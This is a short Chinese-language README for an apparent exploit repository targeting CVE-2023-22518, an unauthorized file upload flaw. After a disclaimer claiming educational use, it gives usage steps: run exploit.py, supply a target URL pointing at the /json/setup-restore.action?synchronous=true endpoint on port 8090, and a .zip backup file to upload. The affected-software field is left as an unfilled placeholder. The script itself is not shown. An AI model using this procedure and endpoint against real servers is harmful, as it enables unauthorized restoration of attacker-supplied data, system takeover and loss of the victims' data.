CVE-2023-22518 漏洞利用

描述

该仓库包含针对 CVE-2023-22518 的漏洞利用脚本。该脚本允许未经授权的文件上传，可能导致远程代码执行或其他安全漏洞。

免责声明

本仓库仅供教育和信息用途。严禁未经授权使用此漏洞利用脚本。请负责任行事，遵守道德黑客原则。

漏洞详情

• CVE ID: CVE-2023-22518
• 漏洞类型: 未授权文件上传
• 严重性: 高
• 受影响软件: [指定受影响的软件/应用程序]

漏洞利用方法

1. 将仓库克隆到本地机器。
2. 运行脚本，提供 URL 和要上传的 .zip 文件路径。

python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.zip